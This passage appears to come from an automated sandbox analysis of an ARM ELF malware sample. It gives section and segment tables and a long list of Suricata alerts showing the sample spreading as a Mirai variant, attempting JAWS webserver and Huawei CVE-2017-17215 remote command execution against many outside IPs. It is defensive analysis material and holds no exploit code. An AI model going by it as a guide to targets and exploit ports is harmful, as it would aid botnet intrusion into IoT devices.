.fini	PROGBITS	0x23054	0x13054	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x23068	0x13068	0x1a58	0x0	0x2	A	8
.ctors	PROGBITS	0x34ac4	0x14ac4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x34acc	0x14acc	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x34ad8	0x14ad8	0x258	0x0	0x3	WA	8
.bss	NOBITS	0x34d30	0x14d30	0x4a8	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x14d30	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x14ac0	0x14ac0	6.2227	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14ac4	0x34ac4	0x34ac4	0x26c	0x714	2.9408	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-17T02:19:41.137206+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48374	117.184.202.170	443	TCP
2024-10-17T02:19:41.137340+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45754	94.254.142.163	443	TCP
2024-10-17T02:19:41.137387+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52518	210.223.79.232	443	TCP
2024-10-17T02:19:41.137424+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37296	212.201.183.181	443	TCP
2024-10-17T02:19:41.137485+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36426	109.224.137.146	443	TCP
2024-10-17T02:19:41.137602+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35546	37.151.27.138	443	TCP
2024-10-17T02:19:42.151214+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59524	2.168.41.147	443	TCP
2024-10-17T02:19:43.499770+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53526	175.135.73.178	80	TCP
2024-10-17T02:19:43.499770+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53526	175.135.73.178	80	TCP
2024-10-17T02:19:43.537359+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55348	196.201.9.128	80	TCP
2024-10-17T02:19:43.537359+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55348	196.201.9.128	80	TCP
2024-10-17T02:19:43.812812+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53766	156.245.159.165	37215	TCP
2024-10-17T02:19:44.164167+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33508	210.29.71.196	443	TCP
2024-10-17T02:19:44.525348+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52572	197.130.19.23	37215	TCP
2024-10-17T02:19:45.484716+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52874	207.45.81.68	80	TCP
2024-10-17T02:19:45.484716+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	52874	207.45.81.68	80	TCP
2024-10-17T02:19:45.965705+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41098	156.130.38.80	37215	TCP
2024-10-17T02:19:47.917046+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53532	197.214.172.28	37215	TCP
2024-10-17T02:19:50.549273+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39766	174.24.2.27	80	TCP
2024-10-17T02:19:50.549273+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	39766	174.24.2.27	80	TCP
2024-10-17T02:19:50.606267+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41198	96.128.202.170	80	TCP
2024-10-17T02:19:50.606267+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41198	96.128.202.170	80	TCP
2024-10-17T02:19:50.609178+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37682	197.8.130.27	37215	TCP
2024-10-17T02:19:50.663844+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51388	197.227.122.154	37215	TCP
2024-10-17T02:19:50.689617+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58860	197.226.27.20	37215	TCP
2024-10-17T02:19:50.701199+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51290	27.147.76.225	80	TCP
2024-10-17T02:19:50.701199+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51290	27.147.76.225	80	TCP
2024-10-17T02:19:50.709676+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55720	206.61.33.79	80	TCP
2024-10-17T02:19:50.709676+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55720	206.61.33.79	80	TCP
2024-10-17T02:19:50.710864+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60586	155.202.61.115	80	TCP
2024-10-17T02:19:50.710864+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60586	155.202.61.115	80	TCP
2024-10-17T02:19:50.714354+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37498	156.110.225.254	37215	TCP
2024-10-17T02:19:50.723660+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55716	41.24.74.237	37215	TCP
2024-10-17T02:19:50.762892+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36726	197.94.217.178	37215	TCP
2024-10-17T02:19:50.763400+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36908	131.123.125.247	80	TCP
2024-10-17T02:19:50.763400+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36908	131.123.125.247	80	TCP
2024-10-17T02:19:50.772466+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45456	41.96.201.111	37215	TCP
2024-10-17T02:19:50.775950+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49670	151.92.33.61	80	TCP
2024-10-17T02:19:50.775950+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49670	151.92.33.61	80	TCP
2024-10-17T02:19:50.800362+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36896	156.42.148.140	37215	TCP
2024-10-17T02:19:50.808511+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40776	118.61.252.110	80	TCP
2024-10-17T02:19:50.808511+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40776	118.61.252.110	80	TCP
2024-10-17T02:19:50.888852+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35076	197.130.159.152	37215	TCP
2024-10-17T02:19:50.907177+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58904	197.182.193.48	37215	TCP
2024-10-17T02:19:50.931271+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50872	41.146.94.96	37215	TCP
2024-10-17T02:19:50.935356+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34862	156.158.100.93	37215	TCP
2024-10-17T02:19:50.966584+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57766	156.228.182.173	37215	TCP
2024-10-17T02:19:50.966737+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50758	197.153.89.197	37215	TCP
2024-10-17T02:19:50.984336+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42258	156.243.178.7	37215	TCP
2024-10-17T02:19:50.986328+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58144	197.216.228.207	37215	TCP
2024-10-17T02:19:51.001880+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33444	197.151.100.246	37215	TCP
2024-10-17T02:19:51.002030+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38798	41.23.92.152	37215	TCP
2024-10-17T02:19:51.022596+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56320	197.108.80.199	37215	TCP
2024-10-17T02:19:51.039483+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57408	197.167.213.135	37215	TCP
2024-10-17T02:19:51.059109+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53530	197.233.34.205	37215	TCP
2024-10-17T02:19:51.060446+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58236	41.249.70.37	37215	TCP
2024-10-17T02:19:51.083304+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53778	199.4.155.168	80	TCP
2024-10-17T02:19:51.083304+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53778	199.4.155.168	80	TCP
2024-10-17T02:19:51.097209+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50640	89.205.249.27	80	TCP
2024-10-17T02:19:51.097209+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50640	89.205.249.27	80	TCP
2024-10-17T02:19:51.111349+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54330	156.222.139.12	37215	TCP
2024-10-17T02:19:51.135704+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51026	156.148.175.0	37215	TCP
2024-10-17T02:19:51.156839+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51174	156.81.108.1	37215	TCP
2024-10-17T02:19:51.174010+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58536	65.149.139.140	80	TCP
2024-10-17T02:19:51.174010+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58536	65.149.139.140	80	TCP
2024-10-17T02:19:51.196531+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47256	8.195.166.159	80	TCP
2024-10-17T02:19:51.196531+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47256	8.195.166.159	80	TCP
2024-10-17T02:19:51.214351+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59176	41.240.174.103	37215	TCP
2024-10-17T02:19:51.217572+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51788	94.8.190.200	80	TCP
2024-10-17T02:19:51.217572+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51788	94.8.190.200	80	TCP
2024-10-17T02:19:51.238264+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57006	107.222.113.58	80	TCP
2024-10-17T02:19:51.238264+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57006	107.222.113.58	80	TCP
2024-10-17T02:19:51.240742+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54646	156.35.219.54	37215	TCP
2024-10-17T02:19:51.250029+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42770	36.46.127.250	80	TCP
2024-10-17T02:19:51.250029+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42770	36.46.127.250	80	TCP
2024-10-17T02:19:51.262614+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39670	119.43.17.98	80	TCP
2024-10-17T02:19:51.262614+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	39670	119.43.17.98	80	TCP
2024-10-17T02:19:51.273220+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47832	156.187.4.61	37215	TCP
2024-10-17T02:19:51.294407+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41126	197.137.107.247	37215	TCP
2024-10-17T02:19:51.297429+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40230	57.222.88.137	80	TCP
2024-10-17T02:19:51.297429+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40230	57.222.88.137	80	TCP
2024-10-17T02:19:51.319816+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33948	35.45.188.242	80	TCP
2024-10-17T02:19:51.319816+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33948	35.45.188.242	80	TCP
2024-10-17T02:19:51.347687+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34770	41.70.217.138	37215	TCP
2024-10-17T02:19:51.366291+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	56104	66.119.106.113	80	TCP
2024-10-17T02:19:51.366291+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	56104	66.119.106.113	80	TCP
2024-10-17T02:19:51.376164+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48658	34.50.168.128	80	TCP
2024-10-17T02:19:51.376164+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48658	34.50.168.128	80	TCP
2024-10-17T02:19:51.398010+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47740	41.233.212.51	37215	TCP
2024-10-17T02:19:51.416631+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37346	74.67.187.229	80	TCP
2024-10-17T02:19:51.416631+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37346	74.67.187.229	80	TCP
2024-10-17T02:19:51.422473+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43276	197.251.236.170	37215	TCP
2024-10-17T02:19:51.423841+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52128	156.107.220.177	37215	TCP
2024-10-17T02:19:51.468043+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56800	41.252.236.8	37215	TCP
2024-10-17T02:19:51.482175+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54266	41.4.146.210	37215	TCP
2024-10-17T02:19:51.489124+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60416	143.90.220.190	80	TCP
2024-10-17T02:19:51.489124+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60416	143.90.220.190	80	TCP
2024-10-17T02:19:51.489559+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40760	156.215.137.184	37215	TCP
2024-10-17T02:19:51.498472+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51690	156.36.78.206	37215	TCP
2024-10-17T02:19:51.508851+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34518	197.78.47.248	37215	TCP
2024-10-17T02:19:51.509165+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48420	41.108.18.107	37215	TCP
2024-10-17T02:19:51.531053+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51458	41.140.60.225	37215	TCP
2024-10-17T02:19:51.538827+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51250	41.33.227.235	37215	TCP
2024-10-17T02:19:51.549747+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50110	197.167.89.226	37215	TCP
2024-10-17T02:19:51.552563+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42090	41.59.142.173	37215	TCP
2024-10-17T02:19:51.571590+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46164	156.136.27.184	37215	TCP
2024-10-17T02:19:51.592718+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34644	176.113.27.165	80	TCP
2024-10-17T02:19:51.592718+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34644	176.113.27.165	80	TCP
2024-10-17T02:19:51.599807+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60010	156.196.4.63	37215	TCP
2024-10-17T02:19:51.609940+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57582	197.111.212.103	37215	TCP
2024-10-17T02:19:51.624428+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34536	104.67.111.220	80	TCP
2024-10-17T02:19:51.624428+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34536	104.67.111.220	80	TCP
2024-10-17T02:19:51.708703+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51180	17.54.164.225	80	TCP
2024-10-17T02:19:51.708703+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51180	17.54.164.225	80	TCP
2024-10-17T02:19:51.722666+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56690	156.174.124.75	37215	TCP
2024-10-17T02:19:51.725896+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48364	174.27.117.70	80	TCP
2024-10-17T02:19:51.725896+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48364	174.27.117.70	80	TCP
2024-10-17T02:19:51.734384+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54564	41.157.56.29	37215	TCP
2024-10-17T02:19:51.763292+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45386	197.185.101.11	37215	TCP
2024-10-17T02:19:51.763309+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43248	173.138.120.251	80	TCP
2024-10-17T02:19:51.763309+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43248	173.138.120.251	80	TCP
2024-10-17T02:19:51.785451+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42374	41.37.238.162	37215	TCP
2024-10-17T02:19:51.799243+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59064	198.90.180.54	80	TCP
2024-10-17T02:19:51.799243+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59064	198.90.180.54	80	TCP
2024-10-17T02:19:52.015865+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47928	59.213.205.136	80	TCP
2024-10-17T02:19:52.015865+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47928	59.213.205.136	80	TCP
2024-10-17T02:19:52.028831+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59294	183.101.116.38	80	TCP
2024-10-17T02:19:52.028831+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59294	183.101.116.38	80	TCP
2024-10-17T02:19:52.073376+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37182	197.159.26.158	37215	TCP
2024-10-17T02:19:52.073400+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40402	41.67.208.122	37215	TCP
2024-10-17T02:19:52.073509+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34964	93.85.10.209	80	TCP
2024-10-17T02:19:52.073509+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34964	93.85.10.209	80	TCP
2024-10-17T02:19:52.082866+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57476	208.9.61.39	80	TCP
2024-10-17T02:19:52.082866+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57476	208.9.61.39	80	TCP
2024-10-17T02:19:52.116321+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51492	68.253.207.101	80	TCP
2024-10-17T02:19:52.116321+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51492	68.253.207.101	80	TCP
2024-10-17T02:19:52.143040+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43480	197.67.55.160	37215	TCP
2024-10-17T02:19:52.166288+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37294	41.97.224.74	37215	TCP
2024-10-17T02:19:52.176694+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59144	212.160.200.226	80	TCP
2024-10-17T02:19:52.176694+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59144	212.160.200.226	80	TCP
2024-10-17T02:19:52.177689+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36972	156.160.243.72	37215	TCP
2024-10-17T02:19:52.221875+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42004	41.74.170.248	37215	TCP
2024-10-17T02:19:52.243996+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49226	62.200.140.21	80	TCP
2024-10-17T02:19:52.243996+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49226	62.200.140.21	80	TCP
2024-10-17T02:19:52.244057+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55764	41.229.139.194	37215	TCP
2024-10-17T02:19:52.247075+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49968	45.36.46.7	80	TCP
2024-10-17T02:19:52.247075+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49968	45.36.46.7	80	TCP
2024-10-17T02:19:52.274468+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59196	156.59.108.206	37215	TCP
2024-10-17T02:19:52.298449+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43052	66.24.173.21	80	TCP
2024-10-17T02:19:52.298449+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43052	66.24.173.21	80	TCP
2024-10-17T02:19:52.336251+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55200	27.237.227.136	80	TCP
2024-10-17T02:19:52.336251+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55200	27.237.227.136	80	TCP
2024-10-17T02:19:52.399681+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52918	31.184.127.205	80	TCP
2024-10-17T02:19:52.399681+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	52918	31.184.127.205	80	TCP
2024-10-17T02:19:52.400546+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48128	156.220.37.13	37215	TCP
2024-10-17T02:19:52.404645+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43442	41.66.252.94	37215	TCP
2024-10-17T02:19:52.426406+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33508	197.91.13.215	37215	TCP
2024-10-17T02:19:52.468596+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54670	74.67.219.248	80	TCP
2024-10-17T02:19:52.468596+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54670	74.67.219.248	80	TCP
2024-10-17T02:19:52.470184+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50646	25.246.143.164	80	TCP
2024-10-17T02:19:52.470184+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50646	25.246.143.164	80	TCP
2024-10-17T02:19:52.495057+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49846	197.128.232.182	37215	TCP
2024-10-17T02:19:52.495085+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50496	197.77.141.197	37215	TCP
2024-10-17T02:19:52.528834+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43582	156.162.153.5	37215	TCP
2024-10-17T02:19:52.566031+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42138	197.190.157.186	37215	TCP
2024-10-17T02:19:52.591791+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47872	197.142.233.40	37215	TCP
2024-10-17T02:19:52.591794+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59662	41.61.10.200	37215	TCP
2024-10-17T02:19:52.600581+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48352	41.53.162.133	37215	TCP
2024-10-17T02:19:52.622430+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46866	41.167.85.71	37215	TCP
2024-10-17T02:19:52.681174+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56732	156.105.45.222	37215	TCP
2024-10-17T02:19:52.831159+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39356	156.68.97.235	37215	TCP
